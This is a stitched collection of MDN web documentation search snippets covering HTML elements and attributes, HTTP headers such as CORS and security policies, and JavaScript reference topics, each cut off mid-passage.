rm method="post" enctype="multipart/form-data"> <div> <label for="profile_pic">choose file to upload</label> <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png"> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } specifications specification status html living standardthe definition of 'accept attribute' in that specification.
... living standard html 5.1the definition of 'accept attribute' in that specification.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials"> specifications specification status comment html living standardthe definition of 'cors settings attributes' in that specification.
... living standard html living standardthe definition of 'crossorigin' in that specification.
HTML attribute: maxlength - HTML: Hypertext Markup Language
examples <input type="password" maxlength="4"/> specifications specification status html living standardthe definition of 'maxlength attribute' in that specification.
... living standard html 5.1the definition of 'maxlength attribute' in that specification.
HTML attribute: minlength - HTML: Hypertext Markup Language
input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus { background-image: linear-gradient(pink, lightgreen); } specifications specification status html living standardthe definition of 'minlength attribute' in that specification.
... living standard html 5.1the definition of 'minlength attribute' in that specification.
HTML attribute: multiple - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'multiple attribute' in that specification.
... living standard html5the definition of 'multiple attribute' in that specification.
HTML attribute: size - HTML: Hypertext Markup Language
WebHTMLAttributessize
ion> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html living standardthe definition of 'size attribute' in that specification.
... living standard html 5.1the definition of 'size attribute' in that specification.
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
specifications specification status comment html living standardthe definition of 'step attribute' in that specification.
... living standard html5the definition of 'step attribute' in that specification.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
i><bdi class="name">اَلأَعْشَى</bdi> - 1st place</li> <li><bdi class="name">jerry cruncher</bdi> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } specifications specification status comment html living standardthe definition of '<bdi>' in that specification.
... living standard html5the definition of '<bdi>' in that specification.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementbgsound
loop this attribute indicates the number of times a sound is to be played and either has a numeric value or the keyword infinite.
... example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the background in most browsers.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
his list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification.
... living standard html5the definition of '<datalist>' in that specification.
<embed>: The Embed External Content element - HTML: Hypertext Markup Language
WebHTMLElementembed
specifications specification status comment html living standardthe definition of '<embed>' in that specification.
... living standard html5the definition of '<embed>' in that specification.
<figcaption>: The Figure Caption element - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of '<figcaption>' in that specification.
... living standard html5the definition of '<figcaption>' in that specification.
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
webkit bugzilla: 146930 – ax: html native elements (header, footer, main, aside, nav) should work the same as aria landmarks, sometimes they don't specifications specification status comment html living standardthe definition of '<footer>' in that specification.
... living standard html5the definition of '<footer>' in that specification.
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
rth</h2> <p>posted on wednesday, <time datetime="2017-10-04">4 october 2017</time> by jane smith</p> </header> <p>we live on a planet that's blue and green, with so many things still unseen.</p> <p><a href="https://janesmith.com/the-planet-earth/">continue reading....</a></p> </article> specifications specification status comment html living standardthe definition of '<header>' in that specification.
... living standard html5the definition of '<header>' in that specification.
<input type="button"> - HTML: Hypertext Markup Language
WebHTMLElementinputbutton
tyle = 'rgb(0,0,0)'; ctx.fillrect(0,0,width,height); } function draw() { if(pressed) { ctx.fillstyle = colorpicker.value; ctx.beginpath(); ctx.arc(curx, cury-85, sizepicker.value, degtorad(0), degtorad(360), false); ctx.fill(); } requestanimationframe(draw); } draw(); specifications specification status comments html living standardthe definition of '<input type="button">' in that specification.
... living standard html5the definition of '<input type="button">' in that specification.
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
ment.queryselector('input[id="othervalue"]'); othertext.style.visibility = 'hidden'; othercheckbox.addeventlistener('change', () => { if(othercheckbox.checked) { othertext.style.visibility = 'visible'; othertext.value = ''; } else { othertext.style.visibility = 'hidden'; } }); specifications specification status comment html living standardthe definition of '<input type="checkbox">' in that specification.
... living standard html5the definition of '<input type="checkbox">' in that specification.
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
var colorwell; var defaultcolor = "#0000ff"; window.addeventlistener("load", startup, false); initialization once the page is loaded, our load event handler, startup(), is called: function startup() { colorwell = document.queryselector("#colorwell"); colorwell.value = defaultcolor; colorwell.addeventlistener("input", updatefirst, false); colorwell.addeventlistener("change", updateall, false); colorwell.select(); } this gets a reference to the color <input> element in a variable c...
... result the final result looks like this: specifications specification status comment html living standard living standard initial definition html5 recommendation initial definition ...
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
specifications specification status comments html living standardthe definition of '<input type="image">' in that specification.
... living standard html5the definition of '<input type="image">' in that specification.
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
// define variables var nativepicker = document.queryselector('.nativedatepicker'); var fallbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'month'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallbac...
... specifications specification status comments html living standardthe definition of '<input type="month">' in that specification.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
there's a reason this kind of control is sometimes called a "simple button." specifications specification status comments html living standardthe definition of '<input type="submit">' in that specification.
... living standard html5the definition of '<input type="submit">' in that specification.
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
// define variables var nativepicker = document.queryselector('.nativetimepicker'); var fallbackpicker = document.queryselector('.fallbacktimepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var hourselect = document.queryselector('#hour'); var minuteselect = document.queryselector('#minute'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'time'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback...
...make it so that if the hour is 18, the minutes value is set to 00 // — you can't select times past 18:00 function setminutestozero() { if(hourselect.value === '18') { minuteselect.value = '00'; } } hourselect.onchange = setminutestozero; minuteselect.onchange = setminutestozero; specifications specification status comments html living standardthe definition of '<input type="time">' in that specification.
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
// define variables var nativepicker = document.queryselector('.nativeweekpicker'); var fallbackpicker = document.queryselector('.fallbackweekpicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var weekselect = document.queryselector('#fallbackweek'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'week'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback...
... specifications specification status comments html living standardthe definition of '<input type="week">' in that specification.
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
untry=us& key=mihfmhewxdanbgkqhkig9w0baqefaanladbiakeanx0tiljromuue%2bptwbre6xfv%0awtkqbsshxk5zhcuwcwyvcniq9b82qhjdoacdd34rqfcaind46fxkqunb0mvkzqid%0aaqabfhfnb3ppbgxhsxnneuzyawvuzdanbgkqhkig9w0baqqfaanbaakv2eex2n%2fs%0ar%2f7ijnrowlszsmttiqteb%2badwhgj9u1xruroilq%2fo2cuqxifzcnzkyakwp4dubqw%0ai0%2f%2frgbvmco%3d specifications specification status comment html5the definition of 'the <keygen> element' in that specification.
... recommendation initial definition.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<mark>' in that specification.
... living standard html5the definition of '<mark>' in that specification.
<marquee>: The Marquee element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmarquee
t will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of '<marquee>' in that specification.
... html5the definition of '<marquee>' in that specification.
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
> <button type="menu" menu="edit-menu">edit</button> <menu type="context" id="edit-menu"> <menuitem label="cut..." onclick="cutedit()"> <menuitem label="copy..." onclick="copyedit()"> <menuitem label="paste..." onclick="pasteedit()"> </menu> </li> </menu> result specifications specification status comment html living standardthe definition of '<menu>' in that specification.
... living standard no change from latest snapshot, unknown html 5.1the definition of '<menu>' in that specification.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
WebHTMLElementnoframes
<frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification.
... recommendation html 4.01 specificationthe definition of '<noframes>' in that specification.
<output>: The Output element - HTML: Hypertext Markup Language
WebHTMLElementoutput
specifications specification status comment html living standardthe definition of '<output>' in that specification.
... living standard html5the definition of '<output>' in that specification.
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
<picture> <source srcset="logo.webp" type="image/webp"> <img src="logo.png" alt="logo"> </picture> specifications specification status comment html living standardthe definition of '<picture>' in that specification.
... living standard initial definition ...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
WebHTMLElementrp
specifications specification status comment html living standardthe definition of '<rp>' in that specification.
... living standard html5the definition of '<rp>' in that specification.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
WebHTMLElementrt
ji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definition of '<rt>' in that specification.
... living standard html5the definition of '<rt>' in that specification.
<ruby> - HTML: Hypertext Markup Language
WebHTMLElementruby
examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status comment html living standardthe definition of '<ruby>' in that specification.
... living standard html5the definition of '<ruby>' in that specification.
<s> - HTML: Hypertext Markup Language
WebHTMLElements
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of 's element' in that specification.
... living standard html5the definition of 's element' in that specification.
<slot> - HTML: Hypertext Markup Language
WebHTMLElementslot
specifications specification status comments html living standardthe definition of '<slot>' in that specification.
... living standard domthe definition of 'slots' in that specification.
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
WebHTMLElementsource
the default value, if missing, is the infinity.
... specifications specification status comment html living standardthe definition of '<source>' in that specification.
<strike> - HTML: Hypertext Markup Language
WebHTMLElementstrike
example &lt;strike&gt;: <strike>today's special: salmon</strike> sold out<br /> &lt;s&gt;: <s>today's special: salmon</s> sold out the result of this code is: specifications specification status comment html5the definition of '<strike>' in that specification.
... html 4.01 specificationthe definition of '<strike>' in that specification.
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
another example: <p>almost every developer's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is commonly known as "caffeine."</p> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
... living standard html5the definition of '<sub> and <sup>;' in that specification.
<sup>: The Superscript element - HTML: Hypertext Markup Language
WebHTMLElementsup
glish or "quinto" in spanish may be abbreviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abbreviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> <li>french: 5<sup>ème</sup></li> </ul> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
... living standard html5the definition of '<sub> and <sup>;' in that specification.
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
mdn tables for visually impaired users tables with multi-level headers • tables • w3c wai web accessibility tutorials h43: using id and headers attributes to associate data cells with header cells in data tables | techniques for w3c wcag 2.0 specifications specification status comment html living standardthe definition of 'table element' in that specification.
... living standard html5the definition of 'table element' in that specification.
<td>: The Table Data Cell element - HTML: Hypertext Markup Language
WebHTMLElementtd
specifications specification status comment html living standardthe definition of 'td element' in that specification.
... living standard html5the definition of 'td element' in that specification.
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
specifications specification status comment html living standardthe definition of 'tfoot element' in that specification.
... living standard html5the definition of 'tfoot element' in that specification.
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
specifications specification status comment html living standardthe definition of 'th element' in that specification.
... living standard html5the definition of 'th element' in that specification.
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
specifications specification status comment html living standardthe definition of 'thead element' in that specification.
... living standard html5the definition of 'thead element' in that specification.
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
f the table has no child <tbody> element, and even then only after any <caption>, <colgroup>, and <thead> elements); otherwise, the parent must be <thead>, <tbody> or <tfoot> implicit aria role row permitted aria roles any dom interface htmltablerowelement specifications specification status comment html living standardthe definition of 'tr element' in that specification.
... living standard the whatwg living standard html5the definition of 'tr element' in that specification.
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
specifications specification status comment html5the definition of '<tt>' in that specification.
... recommendation html 4.01 specificationthe definition of '<tt>' in that specification.
<ul>: The Unordered List element - HTML: Hypertext Markup Language
WebHTMLElementul
--> <ol> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ol> <!-- here is the closing </li> tag --> </li> <li>third item</li> </ul> the above html will output: specifications specification status comment html living standardthe definition of '<ul>' in that specification.
... living standard html5the definition of '<ul>' in that specification.
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
result specifications specification status comment html living standardthe definition of '<var>' in that specification.
... living standard html5the definition of '<var>' in that specification.
<wbr> - HTML: Hypertext Markup Language
WebHTMLElementwbr
<p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html living standardthe definition of '<wbr>' in that specification.
... living standard html5the definition of '<wbr>' in that specification.
contextmenu - HTML: Hypertext Markup Language
"larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
... recommendation snapshot of html living standard, initial definition.
dropzone - HTML: Hypertext Markup Language
specifications specification status comment html 5.1the definition of 'dropzone' in that specification.
... recommendation snapshot of html living standard, initial definition ...
itemref - HTML: Hypertext Markup Language
div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "name": "jazz band", "size": 12 } } result specifications specification status comment html microdatathe definition of 'itemref' in that specification.
... working draft html living standardthe definition of 'itemref' in that specification.
itemscope - HTML: Hypertext Markup Language
specifications specification status comment html microdatathe definition of 'itemscope' in that specification.
... working draft html living standardthe definition of 'itemscope' in that specification.
itemtype - HTML: Hypertext Markup Language
try it on the html shown above specifications specification status comment html microdatathe definition of 'itemtype' in that specification.
... working draft html living standardthe definition of 'itemprop' in that specification.
slot - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'slot attribute' in that specification.
... living standard domthe definition of 'slot attribute' in that specification.
Link types: preconnect - HTML: Hypertext Markup Language
the preconnect keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin.
... specifications specification status comment html living standardthe definition of 'preconnect' in that specification.
Using the application cache - HTML: Hypertext Markup Language
comments may only be used on their own lines (after the initial cache manifest line), and cannot be appended to other lines.
...caches that share the same manifest uri share the same cache state, which can be one of the following: uncached a special value that indicates that an application cache object is not fully initialized.
Browser detection using the user agent - HTTP
so, user agent sniffing is definitely not the way to go.
...(max-width: 24.99em) is simply a poor man's version of not all and (min-width: 25em): do not use (max-width: 24.99em) because the layout might break on very high font sizes on very high definition devices in the future.
Feature Policy - HTTP
specifications specification status comment feature policythe definition of 'feature-policy' in that specification.
... editor's draft initial definition.
Access-Control-Allow-Credentials - HTTP
examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification.
... living standard initial definition ...
Access-Control-Allow-Headers - HTTP
specifications specification status comment fetchthe definition of 'access-control-allow-headers' in that specification.
... living standard initial definition.
Access-Control-Allow-Methods - HTTP
examples access-control-allow-methods: post, get, options access-control-allow-methods: * specifications specification status comment fetchthe definition of 'access-control-allow-methods' in that specification.
... living standard initial definition ...
Access-Control-Allow-Origin - HTTP
access-control-allow-origin: https://developer.mozilla.org vary: origin specifications specification status comment fetchthe definition of 'access-control-allow-origin' in that specification.
... living standard initial definition.
Access-Control-Max-Age - HTTP
examples cache results of a preflight request for 10 minutes: access-control-max-age: 600 specifications specification status comment fetchthe definition of 'access-control-max-age' in that specification.
... living standard initial definition.
Access-Control-Request-Headers - HTTP
examples access-control-request-headers: x-pingother, content-type specifications specification status comment fetchthe definition of 'access-control-request-headers' in that specification.
... living standard initial definition.
Access-Control-Request-Method - HTTP
examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification.
... living standard initial definition.
CSP: block-all-mixed-content - HTTP
for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status comment mixed contentthe definition of 'block-all-mixed-content' in that specification.
... candidate recommendation initial definition.
CSP: upgrade-insecure-requests - HTTP
specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate recommendation initial definition.
DNT - HTTP
WebHTTPHeadersDNT
examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
... obsolete initial definition.
Device-Memory - HTTP
accept-ch: device-memory accept-ch-lifetime: 86400 then on subsequent requests the client might send device-memory header back: device-memory: 1 specifications specification status comment device memory 1the definition of 'device-memory' in that specification.
... editor's draft initial definition.
Feature-Policy: accelerometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... accelerometerthe definition of 'accelerometer' in that specification.
Feature-Policy: battery - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... battery status apithe definition of 'feature policy integration' in that specification.
Feature-Policy: encrypted-media - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... encrypted media extensionsthe definition of 'feature policy integration' in that specification.
Feature-Policy: fullscreen - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... fullscreen apithe definition of 'fullscreen' in that specification.
Feature-Policy: publickey-credentials-get - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... definition of publickey-credentials-get directive, default allowlist.
Feature-Policy: screen-wake-lock - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... screen wake lock api editor's draft initial definition of screen-wake-lock feature directive.
Feature-Policy: unsized-media - HTTP
the http feature-policy header unsized-media directive controls whether the current document is allowed to change the size of media elements after the initial layout is complete.
... specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: usb - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... webusbthe definition of 'feature-policy integration' in that specification.
Feature-Policy: wake-lock - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... wake lock api 1 candidate recommendation initial definition of wake-lock feature directive.
Sec-Fetch-Site - HTTP
the sec-fetch-site fetch metadata header indicates the relationship between a request initiator's origin and the origin of the resource.
...this can happen when user had initiated this request by, e.g.
Server-Timing - HTTP
specifications specification status title server timingthe definition of 'server-timing header field' in that specification.
... working draft initial definition.
SameSite cookies - HTTP
values the samesite attribute accepts three values: lax cookies are allowed to be sent with top-level navigations and will be sent along with get request initiated by third party website.
... strict cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites.
Strict-Transport-Security - HTTP
description if a website accepts a connection through http and redirects to https, visitors may initially communicate with the non-encrypted version of the site before being redirected, if, for example, the visitor types http://www.foo.com/ or even just foo.com.
... strict-transport-security: max-age=63072000; includesubdomains; preload specifications specification status comment http strict transport security (hsts) ietf rfc initial definition ...
Timing-Allow-Origin - HTTP
examples to allow any resource to see timing resources: timing-allow-origin: * to allow https://developer.mozilla.org to see timing resources, you can specify: timing-allow-origin: https://developer.mozilla.org specifications specification status comment resource timing level 3the definition of 'timing-allow-origin' in that specification.
... editor's draft initial definition.
Tk - HTTP
WebHTTPHeadersTk
examples a tk header for a resource that claims not to be tracking would look like: tk: n specifications specification status comment tracking preference expression (dnt)the definition of 'tk header field' in that specification.
... obsolete initial definition.
Upgrade-Insecure-Requests - HTTP
location: https://example.com/ vary: upgrade-insecure-requests specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate recommendation initial definition.
X-Content-Type-Options - HTTP
t a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
... living standard initial definition ...
HTTP response status codes - HTTP
WebHTTPStatus
the initial aim for creating this code was using it for digital payment systems, however this status code is used very rarely and no standard convention exists.
... 508 loop detected (webdav) the server detected an infinite loop while processing the request.
Equality comparisons and sameness - JavaScript
the second is that floating point includes the concept of a not-a-number value, nan, to represent the solution to certain ill-defined mathematical problems: negative infinity added to positive infinity, for example.
...for example, using math.pow to raise -infinity to the power of any negative, odd exponent evaluates to -0.
Groups and ranges - JavaScript
they initially match "o" in "bacon" and "h" in "chop".
... specifications specification ecmascript (ecma-262)the definition of 'regexp: ranges' in that specification.
Using Promises - JavaScript
read the following example: new promise((resolve, reject) => { console.log('initial'); resolve(); }) .then(() => { throw new error('something failed'); console.log('do this'); }) .catch(() => { console.error('do that'); }) .then(() => { console.log('do this, no matter what happened before'); }); this will output the following text: initial do that do this, no matter what happened before note: the text do this is not displayed because the something f...
...solve().then(func1).then(func2).then(func3); this can be made into a reusable compose function, which is common in functional programming: const applyasync = (acc,val) => acc.then(val); const composeasync = (...funcs) => x => funcs.reduce(applyasync, promise.resolve(x)); the composeasync() function will accept any number of functions as arguments, and will return a new function that accepts an initial value to be passed through the composition pipeline: const transformdata = composeasync(func1, func2, func3); const result3 = transformdata(data); in ecmascript 2017, sequential composition can be done more simply with async/await: let result; for (const f of [func1, func2, func3]) { result = await f(result); } /* use last result (i.e.
Warning: expression closures are deprecated - JavaScript
examples deprecated syntax expression closures omit curly braces or return statements from function declarations or from method definitions in objects.
... var x = function() { return 1; } var obj = { count: function() { return 1; } }; standard syntax using arrow functions alternatively, you can use arrow functions: var x = () => 1; standard syntax using shorthand method syntax expression closures can also be found with getter and setter, like this: var obj = { get x() 1, set x(v) this.v = v }; with es2015 method definitions, this can be converted to: var obj = { get x() { return 1 }, set x(v) { this.v = v } }; ...
TypeError: can't delete non-configurable array element - JavaScript
usually, properties in an object created by an array initializer are configurable.
... var arr = [1,2,3]; object.seal(arr); // copy the initial array to shorten the copy var copy = array.from(arr); copy.length = 1; // arr.length == 3 ...
Arrow function expressions - JavaScript
https://www.ecma-international.org/ecma-262/10.0/index.html#sec-strict-mode-code https://www.ecma-international.org/ecma-262/10.0/index.html#sec-arrow-function-definitions-runtime-semantics-evaluation correction: end invoked through call or apply since arrow functions do not have their own this, the methods call() and apply() can only pass in parameters.
...}); // parameterless arrow functions that are visually easier to parse settimeout( () => { console.log('i happen sooner'); settimeout( () => { // deeper code console.log('i happen later'); }, 1); }, 1); specifications specification ecmascript (ecma-262)the definition of 'arrow function definitions' in that specification.
The arguments object - JavaScript
note: you cannot write a "use strict"; directive in the body of a function definition that accepts rest, default, or destructured parameters.
... not also update a console.log(a); } func(10); // 10 and also: function func(a = 55) { a = 99; // updating a does not also update arguments[0] console.log(arguments[0]); } func(10); // 10 and also: // an untracked default parameter function func(a = 55) { console.log(arguments[0]); } func(); // undefined specifications specification ecmascript (ecma-262)the definition of 'arguments exotic objects' in that specification.
getter - JavaScript
examples defining a getter on new objects in object initializers this will create a pseudo-property latest for object obj, which will return the last array item in log.
...le(); console.log(obj.hello); // "world" console.log(object.getownpropertydescriptor(obj, 'hello')); // undefined console.log( object.getownpropertydescriptor( object.getprototypeof(obj), 'hello' ) ); // { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined } specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that specification.
setter - JavaScript
( { set x(v) { }, set x(v) { } } and { x: ..., set x(v) { } } are forbidden ) examples defining a setter on new objects in object initializers the following example define a pseudo-property current of object language.
...= 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) { this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that specification.
Array() constructor - JavaScript
syntax [element0, element1, ..., elementn] new array(element0, element1[, ...[, elementn]]) new array(arraylength) parameters elementn a javascript array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below).
... let fruits = new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification.
Array.prototype.every() - JavaScript
[12, 5, 8, 130, 44].every(x => x >= 10); // false [12, 54, 18, 130, 44].every(x => x >= 10); // true​ affecting initial array (modifying, appending, and deleting) the following examples tests the behaviour of the every method when the array is modified.
...eleting items // --------------- arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr.pop() console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 2 iterations only, as the remaining // items are `pop()`ed off // // 1st iteration: [1,2,3][0] -> 1 // 2nd iteration: [1,2][1] -> 2 specifications specification ecmascript (ecma-262)the definition of 'array.prototype.every' in that specification.
Array.prototype.indexOf() - JavaScript
// this version tries to optimize by only checking for "in" when looking for undefined and // skipping the definitely fruitless nan search.
... specifications specification ecmascript (ecma-262)the definition of 'array.prototype.indexof' in that specification.
Array.prototype.sort() - JavaScript
the following function will sort the array in ascending order (if it doesn't contain infinity and nan): function comparenumbers(a, b) { return a - b; } the sort method can be conveniently used with function expressions: var numbers = [4, 2, 5, 1, 3]; numbers.sort(function(a, b) { return a - b; }); console.log(numbers); // [1, 2, 3, 4, 5] es2015 provides arrow function expressions with even shorter syntax.
... specifications specification ecmascript (ecma-262)the definition of 'array.prototype.sort' in that specification.
Array.prototype.toLocaleString() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tolocalestring' in that specification.
... ecmascript internationalization api (ecma-402)the definition of 'array.prototype.tolocalestring' in that specification.
ArrayBuffer() constructor - JavaScript
its contents are initialized to 0.
...ffer(10); // typeerror: calling a builtin arraybuffer constructor // without new is forbidden var dv = new arraybuffer(10); examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: var buffer = new arraybuffer(8); var view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
AsyncFunction - JavaScript
functionbody a string containing the javascript statements comprising the function definition.
...}); } let asyncfunction = object.getprototypeof(async function(){}).constructor let a = new asyncfunction('a', 'b', 'return await resolveafter2seconds(a) + await resolveafter2seconds(b);'); a(10, 20).then(v => { console.log(v); // prints 30 after 4 seconds }); specifications specification ecmascript (ecma-262)the definition of 'asyncfunction object' in that specification.
Atomics.notify() - JavaScript
defaults to +infinity.
